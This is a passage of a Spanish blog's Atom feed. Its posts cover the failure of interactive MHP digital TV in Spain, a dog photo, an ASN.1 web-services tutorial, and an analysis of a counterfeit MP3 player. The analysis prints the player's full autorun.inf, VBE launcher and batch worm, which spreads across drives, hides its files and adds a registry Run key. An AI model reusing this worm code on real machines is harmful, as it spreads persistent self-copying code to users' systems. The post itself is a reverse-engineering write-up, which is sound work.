&lt;li&gt;MHP 1.0.x y 1.1 (el 100% de los vendidos hasta ahora en españa) no permite descargar código por el canal de retorno y luego ejecutarlo (por seguridad), solo contenidos (fotos, textos, etc.), con lo que no nos libramos de tener que construir aplicaciones muy muy optimizadas.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Otra cosa que diferencia este medio de Internet: si este &amp;uacute;ltimo tiene cobertura mundial, la televisión digital interactiva tiene una audiencia localizada, que puede ser local, autonómica o nacional (TDT), continental o mundial (satélite) o nacional solo (cable), así que conviene personalizar a tope las aplicaciones al público donde emita el canal que nos aloja.&lt;br&gt;Bueno, aun as&amp;iacute; parece que nuestro público objetivo es ámplio... ¿no? Pues no. Los descodificadores TDT (o satélite) normales no ejecutan MHP, solo ciertos modelos que rondan los 100 €. Solo el 0,22% de los descodificadores TDT vendidos en España son compatibles MHP, seg&amp;uacute;n &lt;a href="http://www.impulsatdt.es/home/observatorio/indicadores/indicador.php?id=88"&gt;ImpulsaTDT&lt;/a&gt; (y el 0% de los satélite). Aunque parece que Ono tiene intención de migrar a MHP (ahora usa una plataforma propietaria llamada &lt;a href="http://www.orcainteractive.com/"&gt;Orca&lt;/a&gt;), no parece que sea algo cercano (y aunque lo fuese, sustituir el parque instalado de descodificadores Orca por otros MHP no se hace de la noche a la mañana). Imagenio parece que está bien con la plataforma MiViewTV (de Alcatel-Lucent), pero aunque quisiese migrar a MHP (parece que lo están valorando), no podrían hasta que salga la versión 1.2 de MHP, que soportará televisión por IP, cosa que ahora no hace. Respecto a Digital+, usa MediaHighway, que es competencia de MHP y propiedad de Canal+, por lo que no es probable que cambien. Eso sí, la última versión de MediaHighway, denominada Advanced, tiene la posibilidad de ejecutar en una especie de "modo emulación", aplicaciones MHP sencillas. Supongo que es una forma de cubrise las espaldas por si MHP triunfa y MediaHighway se ve "acorralada".&lt;/p&gt;

&lt;p align="center"&gt;&lt;img src="http://www.impulsatdt.es/graficas/PASTEL.php?id=2035"&gt;&lt;/p&gt;

&lt;p&gt;OK, la situación es mala, pero... En 2010 hay apagón, y la gente comprará descodificadores, y serán muchos compatibles MHP... ¿no? No. La industria (fabricantes de descodificadores y televisores) ha detectado que, puestos a pasar de los 40 € que vale un descodificador TDT barato (los llamados "zappers", que no ofrecen nada más que sintonizar los canales) a uno que ronde los 100 €, los usuarios prefieren características como la alta definición (ya en emisión en ciertos canales satélite y en pruebas en TDT e Imagénio), la posibilidad de grabar en disco duro (PVR/DVR), o cualquier otra cosa excepto los interactivos, así que no tienen intención de sacar descodificadores con MHP al mercado. ¿Y porque ese rechazo a los interactivos? Vamos a repasar alguno de los servicios que podemos encontrar en la TDT interactiva española actualmente, pongo el ejemplo de RTVE, pero es en todos lo mismo:&lt;/p&gt;

&lt;p&gt;&lt;ul&gt;
 &lt;li&gt;Información de tráfico. Es completa, pero ya tenemos la radio (complementada con el sistema RDS) y el teletexto.&lt;/li&gt;
 &lt;li&gt;Información meteorológica. Idem, ya la tenemos en los telediarios, en la radio, en el teletexto...&lt;/li&gt;
 &lt;li&gt;Guía electrónica de programación. Eso ya nos lo da el descodificador o la tele sin necesidad de MHP. Y sino es más cómodo consultarlo en el periódico (total, ambas van a estar desactualizadas...).&lt;/li&gt;
 &lt;li&gt;Información bursátil. ¿De verdad alguien que invierta seriamente lo va a ver con MHP? Tengo la radio, Internet, la CNN, el busca de Reuters, etc.&lt;/li&gt;
 &lt;li&gt;Etc.&lt;/li&gt;
&lt;/ul&gt;&lt;/p&gt;

&lt;p&gt;En otros canales, como los de Prisa (40 Latino, Cuatro, CNN+, etc.) tenemos un "ticker" de noticias (una banda inferior por la que pasa desplazándose el texto de las noticias) y alguna chorradilla más, pero vamos, que nada realmente útil. ¿Merece la pena pagar 50 o 60 € más por esto? No.&lt;/p&gt;

&lt;p&gt;A medio plazo esta situación podría mejorar un poco gracias a los bancos y cajas de ahorros, que parece que tienen intención de meter banca electrónica en TDT interactiva (CCM, CajaMadrid, CajaAstur, etc.). A mi me parece útil no tener que usar el PC solo para ver si me han ingresado ya la nómina o me han cargado la hipoteca, pero vamos, que si eso me supone pagar un extra por el descodificador de verdad que me lo pienso...&lt;/p&gt;

&lt;p&gt;El caso es que tenemos una pescadilla que se muerde la cola, nadie quiere MHP porque no hay servicios atractivos en la TDT y no hay servicios atractivos porque apenas hay público objetivo para ellos y no merece la pena la inversión. ¿Y como solucionamos esto? ¿Quién tiene que impulsar MHP? Parece lógico pensar que debería ser el gobierno, pero no lo tengo yo muy claro...&lt;/p&gt;

&lt;p&gt;&lt;ul&gt;
&lt;li&gt;El gobierno podría poner servicios públicos por TDT interactiva y así mejorar la oferta de contenido ¿no? Pues no lo se. La agencia tributaria puso durante la campaña de la renta un servicio para confirmar el borrador de la declaración, pero no llamaría yo a eso "servicio atractivo". Por su parte, el Ministerio de Administraciones Públicas junto con Inteco estan embarcadas en un proyecto para crear una pila de servicios públicos diversos en TDT interactiva, pero de nuevo no creo que vayan a llamar la atención de los ciudadanos como para que compren equipos más caros solo por esto.&lt;/li&gt;

&lt;li&gt;Otra forma de impulsar esto podría ser subvencionar los descodificadores interactivos para que valgan igual que los zappers... Una pena que la Unión Europea prohiba estas subvenciones (que se lo pregunten al gobierno italiano). De todas formas, aun camuflando estas subvenciones, no como subvención de equipos, sino subvención a los ciudadanos para que compren equipos, la cantidad de dinero necesaria para hacerlo a nivel nacional sería enorme y los beneficiós (en cuanto a "digitalización" de los cuidadanos) escasos, ya que los servicios "avanzados", que vayan más allá de un teletexto mejorado, necesitarían conexión a Internet, cosa que escasea en nuestro país, especialmente la banda ancha, y recordad que los usuarios no quieren conectar los descodificadores a la línea telefónica... Una cosa que no he comentado es que una aplicación MHP puede decidir a que número de teléfono llama para conectarse a Internet, pasando olímpicamente de la configuración que tú hayas indicado en el descodificador y sin que el usuario se entere hasta que le llegue la factura (y existen los números de tarificación especial, y la mala fe, y las ganas de sacar dinero a la gente a toda costa...), así que esta desconfianza es absolutamente justificada.&lt;/li&gt;

&lt;li&gt;La compatibilidad de las aplicaciones MHP con el nuevo DNI electrónico podría ser un impulso, la gente tiene un DNI nuevo que no sabe donde ni como usar, y si ve un logotipo de "compatible DNI electrónico" en los descodificadores MHP puede que se anime a comprar y ver para que vale una cosa, la otra y las dos juntas... Pero desgraciadamente el DNI electrónico (DNIe), a día de hoy, no es compatible con MHP (para desarrollar las bibliotecas de DNIe para MHP hace falta una información que la DGP, el Ministerio del Interior, el Centro Criptológico Nacional o quien sea se niegan a facilitar). Aunque parece que hay intención de compatibilizar DNIe y MHP, como tarde mucho más va a llegar justo a tiempo para el funeral de MHP en la TDT española.&lt;/li&gt;
&lt;/ul&gt;&lt;/p&gt;

&lt;p&gt;&amp;iquest;Y entonces? ¿Como promocionar MHP? A mi modo de ver es sencillo. MHP permite acceso condicional (televisión de pago) en TDT, así que con poner dos o tres canales pornográficos y dos o tres con fútbol se arreglaba la cosa. Este modelo ha funcionado bien en Italia, donde con tarjetas prepago (que se venden en kioskos) se pueden comprar partidos de fútbol en TDT con un descodificador MHP. Un par de aplicaciones de apuestas, principalmente deportivas, también ayudarían... Es lo que tienen los vicios, que son valores seguros.&lt;/p&gt;

&lt;p&gt;Pues esto ha sido todo por hoy sobre la televisi&amp;oacute;n digital interactiva, se puede resumir en una palabra: fracaso. Si aun despues de esto os da por comprar un descodificador TDT con MHP, no lo váis a tener fácil: En Carrefour y MediaMarkt se podía comprar hasta hace poco tiempo un Engel por 100 €, pero lo están retirando porque nadie lo compraba (además de que no tiene Ethernet y es lento como él solo). Inves en teoría vende cuatro modelos con MHP, y digo en teoría porque solo se ven publicitados por la &lt;a href="http://www.elcorteingles.es/tiendas_e/cda/investronica/scd/0,5631,PD16055!INVESTRON,00.html"&gt;Web de tienda virtual de El Corte Ingl&amp;eacute;s&lt;/a&gt;, pero no te dan la opción de comprar ninguno (si lo conseguís, evitad el modelo que pone "suministrado en el proyecto Alcazar de San Juan Digital", es una castaña). Irismedia vende un par de modelos basados en Osmosys, pero creo que no al público en general, solo a mayoristas y desarrolladores. Y bueno, en tiendas que importan paralelamente podéis encontrar algún HuMax u otros cacharros, pero tened una cosa en cuenta con esto, el firmware de los descodificadores se actualiza vía aérea (al vuelo, con la misma emisión de los canales de televisión), pero como es caro que los fabricantes publiquen sus firmwares en los canales (RTVE venía a combrar una cuota anual y unos XXXX € adicionales cada vez que lo actualizaban), si no es un modelo de una "primera marca" o uno muy vendido (o sea, ninguno), no esperéis actualizaciones, corriendo el riego de quedaros con una versión obsoleta de MHP para siempre. Si buscáis una tele con TDT y MHP incorporados, podéis parar de buscar, Philips tenía un par de modelos pero los retiró del mercado, Samsung sacó uno y también lo tuvo que retirar porque dio un montón de problemas, LG comentó que tenía intención de sacar un modelo con MHP, pero nada se sabe de el tema...&lt;/p&gt;

&lt;p&gt;¡Ah! Y una cosa, los precios que he puesto de equipos son aproximados, y he quitado los precios de RTVE, no vaya a ser que alguien se moleste por publicarlos aquí...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-1417714272843792917?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/1417714272843792917/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=1417714272843792917' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/1417714272843792917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/1417714272843792917'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2007/12/la-realidad-sobre-la-televisin-digital.html' title='La realidad sobre la televisión digital terrestre interactiva en Espa&amp;ntilde;a'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-2333808450399486442</id><published>2007-11-19T17:23:00.000+01:00</published><updated>2007-12-28T14:04:53.810+01:00</updated><title type='text'>Cosas de las imitaciones chinas</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/ipod_chino.jpg"&gt;&lt;/p&gt;&lt;p&gt;Reproductor audio MP3 y video MPEG4 con 8GB de memoria &lt;i&gt;flash&lt;/i&gt;, bajo peso, tama&amp;ntilde;o compacto y pantalla color: 10 €.&lt;br&gt;No est&amp;aacute; mal &amp;iquest;no? Pero no es la oferta lo que quer&amp;iacute;a comentar hoy yo aqu&amp;iacute;, sino lo que intenta hacer el reproductor sin que te des cuenta... Me explico:&lt;/p&gt;&lt;p&gt;Cuando abres la unidad (conect&amp;aacute;dolo v&amp;iacute;a USB a un PC Windows), se autoarranca un peque&amp;ntilde;o &lt;i&gt;script&lt;/i&gt; gracias a un fichero &lt;b&gt;autorun.inf&lt;/b&gt; que hay en el ra&amp;iacute;z del reproductor, con el siguiente contenido:&lt;/p&gt;&lt;p&gt;&lt;code&gt;[AutoRun]&lt;br&gt;open=wscript.exe win.vbe&lt;br&gt;shell\open\Command=wscript.exe win.vbe&lt;br&gt;shell\explore\Command=wscript.exe win.vbe&lt;br&gt;shell\find\Command=wscript.exe win.vbe&lt;br&gt;&lt;/code&gt;&lt;/p&gt;&amp;iexcl;Vaya! Intenta ejecutar de cualquier modo un programilla Visual Basic (&lt;b&gt;win.vbe&lt;/b&gt;)... &amp;iquest;Vemos que tiene ese &lt;i&gt;script&lt;/i&gt; de Visual Basic dentro?&lt;/p&gt;&lt;p&gt;&lt;code&gt;set ws=wscript.createobject("wscript.shell")&lt;br&gt;ws.run "win.bat /start",0&lt;br&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Pues nos lleva ahora hasta un &lt;i&gt;batch&lt;/i&gt; de los de toda la vida (&lt;b&gt;win.bat&lt;/b&gt;). Seguimos tirando del hilo:&lt;/p&gt;&lt;p&gt;&lt;code&gt;@echo OFF&lt;br&gt;setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS&lt;br&gt;cd /d "%~dp0"&lt;br&gt;if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")&lt;br&gt;set v=1&lt;br&gt;set "endf=%systemdrive%\jmp.txt"&lt;br&gt;echo.Wscript.sleep 20000&gt;sleep.vbe&lt;br&gt;attrib sleep.vbe +a +s +r +h&lt;br&gt;if /i not "%cd%"=="%systemroot%" (call:cb&amp;del/a/f/q sleep.vbe&amp;goto :eof)&lt;br&gt;set dl=CDEFGHIJKLMNOPQRSTUVWXYZ&lt;br&gt;set n=0&lt;br&gt;call:inf &amp;gt;inf.tem&lt;br&gt;call:ql "%systemroot%\UÅÌ²¡¶¾·ÖÎöBeta3.exe"&lt;br&gt;echo.Wscript.sleep 20000&gt;sleep.vbe&lt;br&gt;:s&lt;br&gt;echo. &gt;uishere-%v%.txt&lt;br&gt;if exist "%endf%" (goto end)&lt;br&gt;if "!dl:~%n%,1!"=="" (set n=0&amp;sleep.vbe)&lt;br&gt;set d=!dl:~%n%,1!:&lt;br&gt;set /a n=n+1&lt;br&gt;if not exist %d% (goto s)&lt;br&gt;if exist "%d%\autorun.inf\" (echo.y|cacls "%d%\autorun.inf" /p everyone:f&lt;br&gt;rd "%d%\autorun.inf" /s /q)&lt;br&gt;if exist "%d%\autorun.inf" (fc "%d%\autorun.inf" inf.tem&amp;if not "!ERRORLEVEL!"=="0" (call UÅÌ²¡¶¾·ÖÎö.bat -a -l -d %d:~0,-1% -c -i -s&amp;goto s1)) else (goto s1)&lt;br&gt;if not exist "%d%\%~n0.vbe" (goto s2)&lt;br&gt;if not exist "%d%\%~nx0" (goto s3)&lt;br&gt;if not exist "%d%\UÅÌ²¡¶¾·ÖÎöBeta3.exe" (goto s4)&lt;br&gt;if exist %d%\%date:~0,10%.sk (goto s)&lt;br&gt;:s1&lt;br&gt;call:inf &gt;%d%\autorun.inf&lt;br&gt;attrib %d%\autorun.inf +a +s +r +h&lt;br&gt;if exist "%d%\%~n0.vbe" (del /a /f /q "%d%\%~n0.vbe")&lt;br&gt;:s2&lt;br&gt;call:vbe &gt;"%d%\%~n0.vbe"&lt;br&gt;attrib "%d%\%~n0.vbe" +a +s +r +h&lt;br&gt;:s3&lt;br&gt;call:copy "%~dpnx0" "%d%\"&lt;br&gt;:s4&lt;br&gt;call:copy "UÅÌ²¡¶¾·ÖÎöBeta3.exe" "%d%\"&lt;br&gt;if exist %d%\*.sk (del /a /f /q %d%\*.sk)&lt;br&gt;echo.&gt;%d%\%date:~0,10%.sk&lt;br&gt;attrib %d%\%date:~0,10%.sk +a +s +r +h&lt;br&gt;goto s&lt;br&gt;:cb&lt;br&gt;if exist "%systemroot%\uishere-*.txt" (del /a /f /q "%systemroot%\uishere-*.txt"&amp;sleep.vbe)&lt;br&gt;if exist "%systemroot%\uishere-*.txt" (if exist "%systemroot%\uishere-%v%.txt" (goto :eof) else (echo.&amp;gt;"%endf%"&amp;sleep.vbe))&lt;br&gt;call:copy "%~dpnx0" "%systemroot%\"&lt;br&gt;rem call:copy "UÅÌ²¡¶¾·ÖÎöBeta3.exe" "%systemroot%\"&lt;br&gt;if exist "%systemroot%\%~n0.vbe" (del /a /f /q "%systemroot%\%~n0.vbe")&lt;br&gt;call:vbe &gt;"%systemroot%\%~n0.vbe"&lt;br&gt;reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v vbe /t REG_SZ /d "%systemroot%\%~n0.vbe" /f&lt;br&gt;start "" /wait /d "%systemroot%\" "%systemroot%\%~n0.vbe"&lt;br&gt;goto :eof&lt;br&gt;:vbe&lt;br&gt;echo.set ws=wscript.createobject("wscript.shell")&lt;br&gt;echo.ws.run "%~nx0 /start",0&lt;br&gt;goto :eof&lt;br&gt;:inf&lt;br&gt;echo.[AutoRun]&lt;br&gt;echo.open=wscript.exe %~n0.vbe&lt;br&gt;echo.shell\open\Command=wscript.exe %~n0.vbe&lt;br&gt;echo.shell\explore\Command=wscript.exe %~n0.vbe&lt;br&gt;echo.shell\find\Command=wscript.exe %~n0.vbe&lt;br&gt;goto :eof&lt;br&gt;:copy&lt;br&gt;if exist "%~dp2%~nx1" (del/a/f/q "%~dp2%~nx1")&lt;br&gt;attrib "%~1" -s -h&lt;br&gt;copy "%~1" "%~dp2"&lt;br&gt;attrib "%~1" +s +h&lt;br&gt;attrib "%~dp2%~nx1" +s +h&lt;br&gt;goto :eof&lt;br&gt;:ql&lt;br&gt;cd /d "%systemroot%\"&lt;br&gt;del /a /f /q Anti-UÅÌÃâÒß.bat ReadMe.txt uda-½âÑ¹.bat uda.exe UÅÌ²¡¶¾·ÖÎö.bat zap.exe Ö÷²Ù¿Ø.bat&lt;br&gt;
cd /d "%~dp0"&lt;br&gt;goto :eof&lt;br&gt;:end&lt;br&gt;call UÅÌ²¡¶¾·ÖÎö.bat -c&amp;call:ql&amp;del/a/f/q "%~dp0sleep.vbe" "%endf%" inf.tem "UÅÌ²¡¶¾·ÖÎöBeta3.exe" "%~n0.vbe" "%~nx0" "uishere-%v%.txt"&amp;reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v vbe /f&lt;br&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Y en este &lt;i&gt;batch&lt;/i&gt; vemos cosillas curiosas: Por una parte, que se instala el solito en el registro para arrancarse autom&amp;aacute;ticamente al inicio y quedarse residente, y por otra que si borras los &lt;i&gt;scripts&lt;/i&gt; Visual Basic, el &lt;i&gt;batch&lt;/i&gt; o el autorun.inf los vuelve a crear de forma autom&amp;aacute;tica. Lo imcomprensible es que hace referencia a otros ejecutables que no copia, con lo que nunca se ejecutan (&lt;b&gt;UÅÌ²¡¶¾·ÖÎöBeta3.exe&lt;/b&gt; es el m&amp;aacute;s visible, los caracteres raros del inicio del nombre de fichero son chinos). El &amp;uacute;nico que s&amp;iacute; copia es &lt;b&gt;sleep.vbe&lt;/b&gt;, que es un &lt;i&gt;script&lt;/i&gt; tonto en Visual Basic que define cada cuanto se va a ejecutar el &lt;i&gt;batch&lt;/i&gt;:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Wscript.sleep 20000&lt;br&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Pues sin esos ejecutables, todo este asunto parece inofensivo (excepto el malgasto de recursos de tener un programita continuamente ejecut&amp;aacute;ndose), pero... &amp;iquest;A que da mal royo?&lt;/p&gt;&lt;p&gt;Si alguien se pregunta que d&amp;oacute;nde he comprado esto, lo han traido directamente de una tienda en Hong-Kong &amp;iexcl;a ver si os cre&amp;eacute;is que en Europa iban a dejar venderlo con los logos de Apple puestos en el cacharro!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-2333808450399486442?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/2333808450399486442/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=2333808450399486442' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/2333808450399486442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/2333808450399486442'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2007/11/cosas-de-las-imitaciones-chinas.html' title='Cosas de las imitaciones chinas'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-3538361291160586619</id><published>2007-09-25T10:41:00.000+02:00</published><updated>2007-09-25T10:42:38.851+02:00</updated><title type='text'>¡Otro perrito!</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/chica.jpg"&gt;&lt;/p&gt;&lt;p&gt;Es perrita, y se llama Chica. Lo que lleva en la pata es una v&amp;iacute;a, que hubo que hospitalizarla por que nos la dieron enferma...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-3538361291160586619?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/3538361291160586619/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=3538361291160586619' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/3538361291160586619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/3538361291160586619'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2007/09/perrito.html' title='&amp;iexcl;Otro perrito!'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-114069060352857579</id><published>2006-02-23T11:24:00.000+01:00</published><updated>2007-01-25T20:17:48.583+01:00</updated><title type='text'>Introducción a los Servicios Web (Web Services)Capítulo 3: Si volvieses a nacer ¿Cómo te gustaría ser?</title><content type='html'>&lt;p&gt;Coment&amp;aacute;bamos en el primer art&amp;iacute;culo de la serie que XML era un formato completamente inadecuado para su uso en los servicios Web, dadas sus necesidades de potencia de proceso y memoria para su an&amp;aacute;lisis y la gran cantidad de metadatos que incluye que hacen m&amp;aacute;s costosa su transmisi&amp;oacute;n por red.&lt;/p&gt;
&lt;p&gt;Si XML es inadecuado... &amp;iquest;Que otro formato podr&amp;iacute;amos haber usado? A priori, el candidato perfecto es &lt;a href="http://www.asn1.org/"&gt;ASN.1&lt;/a&gt;. ASN.1 es un formato muy compacto (optimizado para su uso en redes) y cuyo proceso apenas consume recursos, adem&amp;aacute;s de que esta perfectamente normalizado y lleva a&amp;ntilde;os us&amp;aacute;ndose en multitud de protocolos y servicios.&lt;/p&gt;
&lt;p&gt;&amp;iquest;Y si reimplementamos los servicios Web para que usen ASN.1 en vez de XML? Pues eso es lo que, con unos a&amp;ntilde;os de retraso, est&amp;aacute;n intentando el &lt;a href="http://www.itu.int/ITU-T/studygroups/com17/index.asp"&gt;ITU-T&lt;/a&gt; y el &lt;a href="http://www.w3c.org/XML/Binary/"&gt;W3C&lt;/a&gt; en lo que llaman &lt;b&gt;Fast Web Services&lt;/b&gt;.&lt;/p&gt;
&lt;p&gt;Vayamos por orden: Si reimplemento todo lo que ya tengo montado sobre XML &amp;iquest;No perder&amp;eacute; toda la pila de a&amp;ntilde;adidos que ten&amp;iacute;a ya montada? (como Web Services Security) No exactamente, gracias a la flexibilidad de ASN.1 y su &lt;a href="http://asn1.elibel.tm.fr/xml/"&gt;afinidad con XML&lt;/a&gt;, contamos con las llamadas &lt;b&gt;Reglas de Codificaci&amp;oacute;n XML&lt;/b&gt; de ASN.1 (o &lt;b&gt;XER&lt;/b&gt;, XML Encoding Rules), que nos aportan una equivalencia total entre ambos formatos, haci&amp;eacute;ndolos completamente equivalentes.&lt;/p&gt;
&lt;p&gt;Ya lo tenemos, ASN.1, pese a haber llegado tarde, encaja perfectamente en el juego de los servicios Web. Vamos a ver que es lo que nos a&amp;ntilde;ade respecto a los servicios Web cl&amp;aacute;sicos:&lt;/p&gt;
&lt;p&gt;&lt;dl&gt;
&lt;dt&gt;Fast Infoset&lt;/dt&gt;
&lt;dd&gt;Codificaci&amp;oacute;n binaria en ASN.1 de los datos XML&lt;/dd&gt;
&lt;dt&gt;Fast Schema&lt;/dt&gt;
&lt;dd&gt;Codificaci&amp;oacute;n binaria en ASN.1 utilizando esquemas&lt;/dd&gt;
&lt;dt&gt;Fast Web Services&lt;/dd&gt;
&lt;dd&gt;Combina Fast Infoset y Fast Schema en contenidos autodescritos mediante esquemas, y a&amp;ntilde;ade &lt;b&gt;Fast SOAP&lt;/b&gt;, que no es m&amp;aacute;s que una codificaci&amp;oacute;n de SOAP 1.2 que utiliza ASN.1 binario en vez de XML&lt;br&gt;SOAP es a su vez el protocolo de intercambio de mensajes XML de los servicios Web tradicionales.&lt;/dd&gt;
&lt;/dl&gt;&lt;/p&gt;
&lt;p&gt;Ok, hemos pasado a usar ahora un formato de datos m&amp;aacute;s compacto y r&amp;aacute;pido de procesar &amp;iquest;De verdad se notan las mejoras? Os copio un par de gr&amp;aacute;ficos que nos pueden dar una idea:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/schemaspeedup.png"&gt;&lt;br&gt;&lt;center&gt;Mejoras en la velocidad de proceso usando Fast Schema&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/infosetspeedup.png"&gt;&lt;br&gt;&lt;center&gt;Mejoras en la velocidad de an&amp;aacute;lisis (SAX, con los datos en memoria)&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;Yo creo que las mejoras son evidentes &amp;iquest;No? Pues a&amp;uacute;n con estas a la gente le da miedo utilizar ASN.1 en vez de XML, m&amp;aacute;s que nada por desconocimiento, pero ASN.1 es la base de muchos de los protocolos m&amp;aacute;s usados en la actualidad, como SNMP, SSL, Kerberos e incluso &lt;b&gt;UDDI&lt;/b&gt; y &lt;b&gt;Web Services Security&lt;/b&gt;, ya que ASN.1 forma parte integral de los directorios modernos (X.500 y LDAP) y las funcionalidades criptogr&amp;aacute;ficas m&amp;aacute;s comunes (firmas, cifrados por clave p&amp;uacute;blica, etc.). Podeis encontrar mucha m&amp;aacute;s informaci&amp;oacute;n sobre ASN.1 en &lt;a href="http://asn1.elibel.tm.fr/en/"&gt;http://asn1.elibel.tm.fr/en/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Y ya para terminar, un par de direcciones &amp;uacute;tiles por si quereis empezar a migrar vuestros servicios Web ya mismo:&lt;/p&gt;
&lt;p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.trl.ibm.com/projects/xml/xss4j/docs/axt-readme.html"&gt;IBM ASN.1/XML Translator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jwsdp.dev.java.net/fast/"&gt;Sun Java Web Services Developers Pack - Fast Web Services&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.marben.com/ASN.1/overview.html"&gt;Atos Origin ASN.1 Marben Tools&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-114069060352857579?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/114069060352857579/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=114069060352857579' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/114069060352857579'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/114069060352857579'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2006/02/introduccia-ser.html' title='Introducci&amp;oacute;n a los Servicios Web (Web Services)&lt;br&gt;Cap&amp;iacute;tulo 3: Si volvieses a nacer &amp;iquest;C&amp;oacute;mo te gustar&amp;iacute;a ser?'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-114009375386020744</id><published>2006-02-16T12:44:00.000+01:00</published><updated>2007-01-25T20:17:46.096+01:00</updated><title type='text'>Introducción a los Servicios Web (Web Services)Capítulo 2: Sacando partido a la normalización</title><content type='html'>&lt;p&gt;En el art&amp;iacute;culo anterior coment&amp;aacute;bamos como los servicios Web hab&amp;iacute;an conseguido normalizar el modo en el las arquitecturas cliente-servidor, as&amp;iacute; que era l&amp;oacute;gico sacar partido a esta normalizaci&amp;oacute;n desarrollando infraestructura alrededor de los servicios que a&amp;ntilde;adiese algo de valor. Vamos a ver un par de ejemplos:&lt;/p&gt;
&lt;p&gt;&lt;dl&gt;
 &lt;dt&gt;WSDL / UDDI&lt;/dt&gt;
